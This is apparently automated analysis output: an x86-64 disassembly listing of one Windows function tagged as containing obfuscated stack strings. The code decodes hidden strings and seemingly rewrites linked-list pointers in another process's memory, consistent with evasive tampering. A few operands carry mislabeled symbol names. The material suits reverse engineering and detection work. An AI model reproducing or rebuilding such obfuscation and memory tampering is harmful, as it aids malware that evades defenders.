Function at 0x140003280
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140126240]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, rcx
xor r11d, r11d
mov dword [rbp - 0x41], 0x54ceb1bf
mov dword [rbp - 0x3d], 0x59535d56
mov dword [rbp - 0x39], 0x5663581c
mov byte [rbp - 0x35], 0xe2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x34], xmm0
mov word [rbp - 0x24], ax
mov r9d, r11d
movabs rbx, 0x875cb5f8c168637d
mov r10, rbx
lea rax, [rbp - 0x41]
sub r10, rax
nop word [rax + rax]
lea r8, [rbp - 0x41]
add r8, r9
movzx edx, byte [r8]
lea rax, [r10 + r8]
and rax, rdx
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, rbx
add rcx, r9
sub cl, 0x6b
mov byte [r8], cl
inc r9
cmp r9, 0x1f
jb 0x140003300
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
mov qword [rbp + 0xf], r11
mov qword [rbp + 0x17], r11
lea rcx, [rbp - 0x41]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], r11b
jne 0x140003350
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 1]
call fcn.14000e180
nop
lea rcx, [rbp - 1]
call fcn.14000ff20
mov rbx, rax
lea rcx, [rbp - 1]
call fcn.14000ac00
test rbx, rbx
jne 0x140003388
mov al, 1
jmp 0x140003ff3
mov al, 0xd4
mov dl, 0xd5
mov r8b, 0xca
mov r9b, 0xb0
mov r10b, 0xb3
mov r11b, 0xb2
mov sil, 0xb5
mov r14b, 0xcf
mov r15b, 0xcc
mov r12b, 0x75
xorps xmm0, xmm0
xor r13d, r13d
movups xmmword [rbp - 0x37], xmm0
mov word [rbp - 0x27], r13w
movzx ecx, al
movzx eax, cl
and al, 0xe
add al, al
sub cl, al
sub cl, 0x54
mov byte [rbp - 0x41], cl
movzx ecx, dl
movzx eax, cl
and al, 0xf
add al, al
sub cl, al
sub cl, 0x53
mov byte [rbp - 0x40], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x10
add al, al
sub cl, al
sub cl, 0x52
mov byte [rbp - 0x3f], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x11
add al, al
sub cl, al
sub cl, 0x51
mov byte [rbp - 0x3e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x12
add al, al
sub cl, al
sub cl, 0x50
mov byte [rbp - 0x3d], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x13
add al, al
sub cl, al
sub cl, 0x4f
mov byte [rbp - 0x3c], cl
movzx ecx, sil
movzx eax, cl
and al, 0x14
add al, al
sub cl, al
sub cl, 0x4e
mov byte [rbp - 0x3b], cl
movzx ecx, r14b
movzx eax, cl
and al, 0x15
add al, al
sub cl, al
sub cl, 0x4d
mov byte [rbp - 0x3a], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x16
add al, al
sub cl, al
sub cl, 0x4c
mov byte [rbp - 0x39], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x17
add al, al
sub cl, al
sub cl, 0x4b
mov byte [rbp - 0x38], cl
movd eax, xmm0
movzx ecx, al
movzx eax, cl
and al, 0x18
add al, al
sub cl, al
sub cl, 0x4a
mov byte [rbp - 0x37], cl
movzx ecx, byte [rbp - 0x36]
movzx eax, cl
and al, 0x19
add al, al
sub cl, al
sub cl, 0x49
mov byte [rbp - 0x36], cl
movzx ecx, byte [rbp - 0x35]
movzx eax, cl
and al, 0x1a
add al, al
sub cl, al
sub cl, 0x48
mov byte [rbp - 0x35], cl
movzx ecx, byte [rbp - 0x34]
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
sub cl, 0x47
mov byte [rbp - 0x34], cl
movzx ecx, byte [rbp - 0x33]
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
sub cl, 0x46
mov byte [rbp - 0x33], cl
movzx ecx, byte [rbp - 0x32]
movzx eax, cl
and al, 0x1d
add al, al
sub cl, al
sub cl, 0x45
mov byte [rbp - 0x32], cl
movzx ecx, byte [rbp - 0x31]
movzx eax, cl
and al, 0x1e
add al, al
sub cl, al
sub cl, 0x44
mov byte [rbp - 0x31], cl
movzx ecx, byte [rbp - 0x30]
movzx eax, cl
and al, 0x1f
add al, al
sub cl, al
sub cl, 0x43
mov byte [rbp - 0x30], cl
movzx ecx, byte [rbp - 0x2f]
movzx eax, cl
and al, 0x20
add al, al
sub cl, al
sub cl, 0x42
mov byte [rbp - 0x2f], cl
movzx ecx, byte [rbp - 0x2e]
movzx eax, cl
and al, 0x21
add al, al
sub cl, al
sub cl, 0x41
mov byte [rbp - 0x2e], cl
movzx ecx, byte [rbp - 0x2d]
movzx eax, cl
and al, 0x22
add al, al
sub cl, al
sub cl, 0x40
mov byte [rbp - 0x2d], cl
movzx ecx, byte [rbp - 0x2c]
movzx eax, cl
and al, 0x23
add al, al
sub cl, al
sub cl, 0x3f
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0x24
add al, al
sub cl, al
sub cl, 0x3e
mov byte [rbp - 0x2b], cl
movzx ecx, byte [rbp - 0x2a]
movzx eax, cl
and al, 0x25
add al, al
sub cl, al
sub cl, 0x3d
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0x26
add al, al
sub cl, al
sub cl, 0x3c
mov byte [rbp - 0x29], cl
movzx ecx, byte [rbp - 0x28]
movzx eax, cl
and al, 0x27
add al, al
sub cl, al
sub cl, 0x3b
mov byte [rbp - 0x28], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x28
add al, al
sub cl, al
sub cl, 0x3a
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
mov eax, ecx
movabs rdx, 0xabcc73be2a8ef029
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x62
mov byte [rbp - 0x26], cl
mov al, 0x56
mov dl, 0x4a
mov r8b, 0x4d
mov r9b, 0x48
mov r10b, 2
xor r11d, r11d
movups xmmword [rbp + 4], xmm0
mov qword [rbp + 0x14], r11
movzx ecx, al
movzx eax, cl
and al, 0x81
add al, al
sub cl, al
sub cl, 6
mov byte [rbp - 1], cl
movzx ecx, dl
movzx eax, cl
and al, 0x82
add al, al
sub cl, al
sub cl, 5
mov byte [rbp], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x83
add al, al
sub cl, al
sub cl, 4
mov byte [rbp + 1], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x84
add al, al
sub cl, al
sub cl, 3
mov byte [rbp + 2], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x85
add al, al
sub cl, al
sub cl, r10b
mov byte [rbp + 3], cl
movd eax, xmm0
movzx ecx, al
movzx eax, cl
and al, 0x86
add al, al
sub cl, al
dec cl
mov byte [rbp + 4], cl
movzx ecx, byte [rbp + 5]
movzx eax, cl
and al, 0x87
add al, al
sub cl, al
mov byte [rbp + 5], cl
movzx ecx, byte [rbp + 6]
movzx eax, cl
and al, 0x88
add al, al
sub cl, al
inc cl
mov byte [rbp + 6], cl
movzx edx, byte [rbp + 7]
movzx eax, dl
and al, 0x89
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 7], cl
movzx ecx, byte [rbp + 8]
movzx eax, cl
and al, 0x8a
add al, al
sub cl, al
add cl, 3
mov byte [rbp + 8], cl
movzx edx, byte [rbp + 9]
movzx eax, dl
and al, 0x8b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 9], cl
movzx ecx, byte [rbp + 0xa]
movzx eax, cl
and al, 0x8c
add al, al
sub cl, al
add cl, 5
mov byte [rbp + 0xa], cl
movzx edx, byte [rbp + 0xb]
movzx eax, dl
and al, 0x8d
mov ecx, 3
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0xb], cl
movzx ecx, byte [rbp + 0xc]
movzx eax, cl
and al, 0x8e
add al, al
sub cl, al
add cl, 7
mov byte [rbp + 0xc], cl
movzx edx, byte [rbp + 0xd]
movzx eax, dl
and al, 0x8f
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0xd], cl
movzx ecx, byte [rbp + 0xe]
movzx eax, cl
and al, 0x90
add al, al
sub cl, al
add cl, 9
mov byte [rbp + 0xe], cl
movzx edx, byte [rbp + 0xf]
movzx eax, dl
and al, 0x91
mov ecx, 5
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0xf], cl
movzx ecx, byte [rbp + 0x10]
movzx eax, cl
and al, 0x92
add al, al
sub cl, al
add cl, 0xb
mov byte [rbp + 0x10], cl
movzx edx, byte [rbp + 0x11]
movzx eax, dl
and al, 0x93
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0x11], cl
movzx ecx, byte [rbp + 0x12]
movzx eax, cl
and al, 0x94
add al, al
sub cl, al
add cl, 0xd
mov byte [rbp + 0x12], cl
movzx edx, byte [rbp + 0x13]
movzx eax, dl
and al, 0x95
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0x13], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x96
add al, al
sub cl, al
add cl, 0xf
mov byte [rbp + 0x14], cl
movzx edx, byte [rbp + 0x15]
movzx eax, dl
and al, 0x97
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0x15], cl
movzx ecx, byte [rbp + 0x16]
movzx eax, cl
and al, 0x98
add al, al
sub cl, al
add cl, 0x11
mov byte [rbp + 0x16], cl
movzx edx, byte [rbp + 0x17]
movzx eax, dl
and al, 0x99
mov ecx, 9
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0x17], cl
movzx ecx, byte [rbp + 0x18]
movzx eax, cl
and al, 0x9a
add al, al
sub cl, al
add cl, 0x13
mov byte [rbp + 0x18], cl
movzx edx, byte [rbp + 0x19]
movzx eax, dl
and al, 0x9b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0x19], cl
movzx ecx, byte [rbp + 0x1a]
movzx eax, cl
and al, 0x9c
add al, al
sub cl, al
add cl, 0x15
mov byte [rbp + 0x1a], cl
movzx edx, byte [rbp + 0x1b]
movzx eax, dl
and al, 0x9d
mov ecx, 0xb
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0x1b], cl
movzx ecx, r11b
mov eax, ecx
movabs rdx, 0x2fcf93b33ef63f9e
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x79
mov byte [rbp + 0x1c], cl
xor r15d, r15d
mov dword [rbp - 0x49], r15d
lea r9, [rbp - 0x49]
mov r8, rbx
lea rdx, [rbp - 1]
mov rcx, rdi
call fcn.140007f40
mov r8d, dword [rbp - 0x49]
lea rcx, [rbp - 0x41]
mov qword [rsp + 0x20], rcx
lea r9, [0x140105820]
mov rdx, rax
mov rcx, rdi
call fcn.140007e20
mov r14, rax
test rax, rax
je 0x140003ff1
mov al, 0x84
mov dl, 0x85
mov r8b, 0x49
mov r9b, 0x48
mov r10b, 0x4b
mov r11b, 0x4a
mov sil, 0x8e
mov r15b, 0x8f
mov r12b, 0x8c
mov r13b, 5
xor ecx, ecx
mov qword [rbp - 0x51], rcx
mov dword [rbp + 9], ecx
mov word [rbp + 0xd], cx
movzx ecx, al
movzx eax, cl
and al, 0x82
add al, al
sub cl, al
sub cl, 0xc
mov byte [rbp - 1], cl
movzx ecx, dl
movzx eax, cl
and al, 0x83
add al, al
sub cl, al
sub cl, 0xb
mov byte [rbp], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x84
add al, al
sub cl, al
sub cl, 0xa
mov byte [rbp + 1], cl
movzx ecx, r9b
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 9
mov byte [rbp + 2], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x86
add al, al
sub cl, al
sub cl, 8
mov byte [rbp + 3], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x87
add al, al
sub cl, al
sub cl, 7
mov byte [rbp + 4], cl
movzx ecx, sil
movzx eax, cl
and al, 0x88
add al, al
sub cl, al
sub cl, 6
mov byte [rbp + 5], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x89
add al, al
sub cl, al
sub cl, r13b
mov byte [rbp + 6], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x8a
add al, al
sub cl, al
sub cl, 4
mov byte [rbp + 7], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x8b
add al, al
sub cl, al
sub cl, 3
mov byte [rbp + 8], cl
mov rdx, qword [rbp - 0x51]
movzx ecx, dl
movzx eax, cl
and al, r12b
add al, al
sub cl, al
sub cl, 2
mov byte [rbp + 9], cl
movzx ecx, byte [rbp + 0xa]
movzx eax, cl
and al, 0x8d
add al, al
sub cl, al
dec cl
mov byte [rbp + 0xa], cl
movzx ecx, byte [rbp + 0xb]
movzx eax, cl
and al, sil
add al, al
sub cl, al
mov byte [rbp + 0xb], cl
movzx ecx, byte [rbp + 0xc]
movzx eax, cl
and al, r15b
add al, al
sub cl, al
inc cl
mov byte [rbp + 0xc], cl
movzx edx, dl
movzx eax, dl
and al, 0x90
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0xd], cl
movzx ecx, byte [rbp + 0xe]
mov eax, ecx
movabs rdx, 0xef9869e9e908e191
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x72
mov byte [rbp + 0xe], cl
mov al, 0x9c
mov dl, 0xec
mov r8b, 0xe1
mov r9b, 0xe6
mov r10b, 0x28
xor r11d, r11d
mov qword [rbp - 0x3c], r11
mov dword [rbp - 0x34], r11d
mov word [rbp - 0x30], r11w
movzx ecx, al
movzx eax, cl
and al, 0xda
add al, al
sub cl, al
sub cl, 0x1c
mov byte [rbp - 0x41], cl
movzx ecx, dl
movzx eax, cl
and al, 0xdb
add al, al
sub cl, al
sub cl, 0x1b
mov byte [rbp - 0x40], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xdc
add al, al
sub cl, al
sub cl, 0x1a
mov byte [rbp - 0x3f], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
sub cl, 0x19
mov byte [rbp - 0x3e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xde
add al, al
sub cl, al
sub cl, 0x18
mov byte [rbp - 0x3d], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xdf
add al, al
sub cl, al
sub cl, 0x17
mov byte [rbp - 0x3c], cl
movzx ecx, byte [rbp - 0x3b]
movzx eax, cl
and al, 0xe0
add al, al
sub cl, al
sub cl, 0x16
mov byte [rbp - 0x3b], cl
movzx ecx, byte [rbp - 0x3a]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x15
mov byte [rbp - 0x3a], cl
movzx ecx, byte [rbp - 0x39]
movzx eax, cl
and al, 0xe2
add al, al
sub cl, al
sub cl, 0x14
mov byte [rbp - 0x39], cl
movzx ecx, byte [rbp - 0x38]
movzx eax, cl
and al, 0xe3
add al, al
sub cl, al
sub cl, 0x13
mov byte [rbp - 0x38], cl
movzx ecx, byte [rbp - 0x37]
movzx eax, cl
and al, 0xe4
add al, al
sub cl, al
sub cl, 0x12
mov byte [rbp - 0x37], cl
movzx ecx, byte [rbp - 0x36]
movzx eax, cl
and al, 0xe5
add al, al
sub cl, al
sub cl, 0x11
mov byte [rbp - 0x36], cl
movzx ecx, byte [rbp - 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x10
mov byte [rbp - 0x35], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xe7
add al, al
sub cl, al
sub cl, 0xf
mov byte [rbp - 0x34], cl
movzx ecx, byte [rbp - 0x33]
movzx eax, cl
and al, 0xe8
add al, al
sub cl, al
sub cl, 0xe
mov byte [rbp - 0x33], cl
movzx ecx, byte [rbp - 0x32]
movzx eax, cl
and al, 0xe9
add al, al
sub cl, al
sub cl, 0xd
mov byte [rbp - 0x32], cl
movzx ecx, byte [rbp - 0x31]
movzx eax, cl
and al, 0xea
add al, al
sub cl, al
sub cl, 0xc
mov byte [rbp - 0x31], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xeb
add al, al
sub cl, al
sub cl, 0xb
mov byte [rbp - 0x30], cl
movzx ecx, byte [rbp - 0x2f]
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0xa
mov byte [rbp - 0x2f], cl
movzx ecx, r11b
mov eax, ecx
movabs rdx, 0x811846c2dc54cded
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0xa
mov byte [rbp - 0x2e], cl
xor r12d, r12d
mov dword [rbp - 0x49], r12d
lea r9, [rbp - 0x49]
mov r8, rbx
lea rdx, [rbp - 0x41]
mov rcx, rdi
call fcn.140007f40
mov r8d, dword [rbp - 0x49]
lea rcx, [rbp - 1]
mov qword [rsp + 0x20], rcx
lea r9, [0x140105830]
mov rdx, rax
mov rcx, rdi
call fcn.140007e20
mov rsi, rax
test rax, rax
je 0x140003ff1
mov dword [rbp - 0x79], 0x427c7d7e
mov dword [rbp - 0x75], 0x7778407a
mov dword [rbp - 0x71], 0x4a4d4c4f
mov dword [rbp - 0x6d], 0x5649484b
mov dword [rbp - 0x69], 0x6b555457
mov byte [rbp - 0x65], sendto
xor eax, eax
mov qword [rbp - 0x64], rax
mov dword [rbp - 0x5c], eax
mov word [rbp - 0x58], ax
mov byte [rbp - 0x56], al
movabs r11, 0xc4f62ae2789ca592
mov r10, r11
lea rcx, [rbp - 0x78]
sub r10, rcx
nop dword [rax + rax]
lea r9, [rbp - 0x78]
add r9, rax
movzx r8d, byte [r9 - 1]
lea edx, [rax - 0x7f]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
sub r8b, 6
add cl, r8b
mov byte [r9 - 1], cl
movzx r8d, byte [r9]
lea edx, [rax - 0x7e]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
sub r8b, r13b
add cl, r8b
mov byte [r9], cl
movzx r8d, byte [r9 + 1]
lea edx, [rax - 0x7d]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
sub r8b, 4
add cl, r8b
mov byte [r9 + 1], cl
movzx r8d, byte [r9 + 2]
lea edx, [rax - 0x7c]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
sub r8b, 3
add cl, r8b
mov byte [r9 + 2], cl
movzx r8d, byte [r9 + 3]
lea edx, [rax - 0x7b]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
sub r8b, 2
add cl, r8b
mov byte [r9 + 3], cl
movzx r8d, byte [r9 + 4]
lea edx, [rax - 0x7a]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
dec r8b
add cl, r8b
mov byte [r9 + 4], cl
lea edx, [rax - 0x79]
and dl, byte [r9 + 5]
add dl, dl
movzx ecx, al
sub cl, dl
add byte [r9 + 5], cl
movzx r8d, byte [r9 + 6]
lea edx, [rax - 0x78]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
inc r8b
add cl, r8b
mov byte [r9 + 6], cl
lea ecx, [rax - 0x77]
and cl, byte [r9 + 7]
mov edx, 1
sub dl, cl
add dl, dl
add dl, al
add byte [r9 + 7], dl
movzx r8d, byte [r9 + 8]
lea edx, [rax - 0x76]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 3
add cl, r8b
mov byte [r9 + 8], cl
lea ecx, [rax - 0x75]
and cl, byte [r9 + 9]
mov edx, 2
sub dl, cl
add dl, dl
add dl, al
add byte [r9 + 9], dl
movzx r8d, byte [r9 + 0xa]
lea edx, [rax - 0x74]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, r13b
add cl, r8b
mov byte [r9 + 0xa], cl
lea ecx, [rax - 0x73]
and cl, byte [r9 + 0xb]
mov edx, 3
sub dl, cl
add dl, dl
add dl, al
add byte [r9 + 0xb], dl
movzx r8d, byte [r9 + 0xc]
lea edx, [rax - 0x72]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 7
add cl, r8b
mov byte [r9 + 0xc], cl
lea ecx, [rax - 0x71]
and cl, byte [r9 + 0xd]
mov edx, 4
sub dl, cl
add dl, dl
add dl, al
add byte [r9 + 0xd], dl
movzx r8d, byte [r9 + 0xe]
lea edx, [rax - 0x70]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 9
add cl, r8b
mov byte [r9 + 0xe], cl
lea ecx, [rax - 0x6f]
and cl, byte [r9 + 0xf]
mov edx, 5
sub dl, cl
add dl, dl
add dl, al
add byte [r9 + 0xf], dl
movzx r8d, byte [r9 + 0x10]
lea rcx, [r9 + r10]
and rcx, r8
imul rdx, rcx, 0xfffffffffffffffe
add rdx, r8
add rdx, r11
add rdx, rax
add dl, 0x79
mov byte [r9 + 0x10], dl
add rax, 0x12
cmp rax, 0x24
jb 0x140003c50
mov al, 0x46
mov dl, 0x7a
mov r8b, 0x71
mov r9b, 0x7c
mov r10b, 0xba
xor r11d, r11d
mov qword [rbp - 0x3c], r11
mov dword [rbp - 0x34], r11d
movzx ecx, al
movzx eax, cl
and al, 0x67
add al, al
sub cl, al
sub cl, 0x6a
mov byte [rbp - 0x41], cl
movzx ecx, dl
movzx eax, cl
and al, 0x68
add al, al
sub cl, al
sub cl, 0x69
mov byte [rbp - 0x40], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x69
add al, al
sub cl, al
sub cl, 0x68
mov byte [rbp - 0x3f], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x6a
add al, al
sub cl, al
sub cl, 0x67
mov byte [rbp - 0x3e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x6b
add al, al
sub cl, al
sub cl, 0x66
mov byte [rbp - 0x3d], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x6c
add al, al
sub cl, al
sub cl, 0x65
mov byte [rbp - 0x3c], cl
movzx ecx, byte [rbp - 0x3b]
movzx eax, cl
and al, 0x6d
add al, al
sub cl, al
sub cl, 0x64
mov byte [rbp - 0x3b], cl
movzx ecx, byte [rbp - 0x3a]
movzx eax, cl
and al, 0x6e
add al, al
sub cl, al
sub cl, 0x63
mov byte [rbp - 0x3a], cl
movzx ecx, byte [rbp - 0x39]
movzx eax, cl
and al, 0x6f
add al, al
sub cl, al
sub cl, 0x62
mov byte [rbp - 0x39], cl
movzx ecx, byte [rbp - 0x38]
movzx eax, cl
and al, 0x70
add al, al
sub cl, al
sub cl, 0x61
mov byte [rbp - 0x38], cl
movzx ecx, byte [rbp - 0x37]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x60
mov byte [rbp - 0x37], cl
movzx ecx, byte [rbp - 0x36]
movzx eax, cl
and al, 0x72
add al, al
sub cl, al
sub cl, 0x5f
mov byte [rbp - 0x36], cl
movzx ecx, byte [rbp - 0x35]
movzx eax, cl
and al, 0x73
add al, al
sub cl, al
sub cl, 0x5e
mov byte [rbp - 0x35], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x74
add al, al
sub cl, al
sub cl, 0x5d
mov byte [rbp - 0x34], cl
movzx ecx, byte [rbp - 0x33]
movzx eax, cl
and al, 0x75
add al, al
sub cl, al
sub cl, 0x5c
mov byte [rbp - 0x33], cl
movzx ecx, byte [rbp - 0x32]
movzx eax, cl
and al, 0x76
add al, al
sub cl, al
sub cl, 0x5b
mov byte [rbp - 0x32], cl
movzx ecx, byte [rbp - 0x31]
mov eax, ecx
movabs rdx, 0xba8d9e1b6938b977
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x2f
mov byte [rbp - 0x31], cl
mov dword [rbp - 0x49], r12d
lea r9, [rbp - 0x49]
mov r8, rbx
lea rdx, [rbp - 0x41]
mov rcx, rdi
call fcn.140007f40
mov r8d, dword [rbp - 0x49]
lea rcx, [rbp - 0x79]
mov qword [rsp + 0x20], rcx
lea r9, [0x140105840]
mov rdx, rax
mov rcx, rdi
call fcn.140007e20
mov rbx, rax
test rax, rax
jne 0x140004020
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400ccc80
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
add rbx, 7
mov dword [rbp - 0x49], r12d
lea r8, [r14 + 3]
mov r9d, 4
lea rdx, [rbp - 0x49]
mov rcx, rdi
call fcn.140004680
test al, al
jne 0x14000404b
mov r15, 0xfffffffffffffff8
jmp 0x140004055
movsxd r15, dword [rbp - 0x49]
dec r15
add r15, r14
mov dword [rbp - 0x49], r12d
lea r8, [rsi + 2]
mov r9d, 4
lea rdx, [rbp - 0x49]
mov rcx, rdi
call fcn.140004680
test al, al
jne 0x140004078
mov r13, r12
jmp 0x140004083
movsxd r13, dword [rbp - 0x49]
add r13, 6
add r13, rsi
lea r8, [r13 + 8]
mov qword [rbp + 0x27], r8
mov r9d, 8
lea rdx, [rbp + 0x27]
mov rcx, rdi
call fcn.140004680
mov dword [rbp - 0x49], r12d
lea r8, [rbx + 1]
mov r9d, 4
lea rdx, [rbp - 0x49]
mov rcx, rdi
call fcn.140004680
test al, al
jne 0x1400040c1
mov qword [rbp - 0x51], r12
jmp 0x1400040d0
movsxd rax, dword [rbp - 0x49]
add rax, 5
add rax, rbx
mov qword [rbp - 0x51], rax
mov r9d, 8
mov r8, r15
lea rdx, [rbp - 0x21]
mov rcx, rdi
call fcn.140004680
mov rsi, qword [rbp - 0x21]
test al, al
cmove rsi, r12
cmp rsi, r15
je 0x140003ff1
nop dword [rax + rax]
lea r8, [rsi + 0x10]
mov r9d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x41]
mov rcx, rdi
call fcn.140004680
test al, al
je 0x1400041a9
movzx ecx, word [rbp - 0x41]
shr rcx, 1
inc rcx
mov eax, 2
mul rcx
mov rbx, rax
mov rax, 0xffffffffffffffff
cmovo rbx, rax
mov rcx, rbx
call fcn.1400cce04
mov r14, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.1400f77a0
mov qword [rbp - 1], r14
movzx r9d, word [rbp - 0x41]
mov r8, qword [rbp - 0x39]
mov rdx, r14
mov rcx, rdi
call fcn.140004680
test al, al
je 0x1400041a1
lea rcx, [rbp - 0x79]
call fcn.140002220
cmp qword [rax + 0x18], 7
jbe 0x140004185
mov rax, qword [rax]
mov rdx, rax
mov rcx, r14
call fcn.1400ceb68
mov rbx, rax
lea rcx, [rbp - 0x79]
call fcn.14000a150
test rbx, rbx
jne 0x1400041d6
mov rcx, r14
call fcn.1400ccca0
mov r9d, 8
mov r8, rsi
lea rdx, [rbp - 0x21]
mov rcx, rdi
call fcn.140004680
mov rsi, qword [rbp - 0x21]
test al, al
cmove rsi, r12
cmp rsi, r15
jne 0x140004100
jmp 0x140003ff1
lea r12, [rsi - 0x10]
xor eax, eax
mov r15d, eax
mov ebx, eax
mov qword [rbp - 0x11], rax
movsxd r8, ebx
add r8, qword [rbp + 0x27]
mov r9d, 8
lea rdx, [rbp - 0x11]
mov rcx, rdi
call fcn.140004680
cmp qword [rbp - 0x11], r12
je 0x14000421e
inc r15d
add ebx, 8
cmp ebx, 0x800
mov eax, 0
jl 0x1400041e1
xor bl, bl
jmp 0x140004321
lea rax, [r13 + 1]
mov qword [rbp - 0x19], rax
lea eax, [r15*8]
movsxd rdx, eax
add rdx, qword [rbp + 0x27]
mov r9d, 8
lea r8, [rbp - 0x19]
mov rcx, rdi
call fcn.140004680
mov r9d, 8
mov r8, rsi
lea rdx, [rbp - 0x19]
mov rcx, rdi
call fcn.140004680
mov rcx, qword [rbp - 0x19]
test al, al
mov r15d, 0
cmove rcx, r15
mov qword [rbp - 9], rcx
lea r8, [rsi + 8]
lea r9d, [r15 + 8]
lea rdx, [rbp - 0x19]
mov rcx, rdi
call fcn.140004680
mov rcx, qword [rbp - 0x19]
test al, al
cmove rcx, r15
mov qword [rbp - 0x21], rcx
mov rdx, qword [rbp - 9]
add rdx, 8
lea r9d, [r15 + 8]
lea r8, [rbp - 0x21]
mov rcx, rdi
call fcn.140004680
lea r9d, [r15 + 8]
lea r8, [rbp - 9]
mov rdx, qword [rbp - 0x21]
mov rcx, rdi
call fcn.140004680
mov dword [rbp - 0x49], r15d
lea r9d, [r15 + 4]
mov r8, r13
lea rdx, [rbp - 0x49]
mov rcx, rdi
call fcn.140004680
dec dword [rbp - 0x49]
lea r9d, [r15 + 4]
lea r8, [rbp - 0x49]
mov rdx, r13
mov rcx, rdi
call fcn.140004680
mov word [rbp + 0x1f], r15w
lea r9d, [r15 + 2]
lea r8, [rsi - 0x20]
lea rdx, [rbp + 0x1f]
mov rcx, rdi
call fcn.140004680
mov eax, 0xda18
cmp word [rbp + 0x1f], ax
jne 0x14000431f
lea r9, [rsi - 0x20]
mov r8, qword [rbp - 0x51]
mov rcx, rdi
call fcn.14000b5c0
mov bl, 1
mov rcx, r14
call fcn.1400ccca0
movzx eax, bl
jmp 0x140003ff3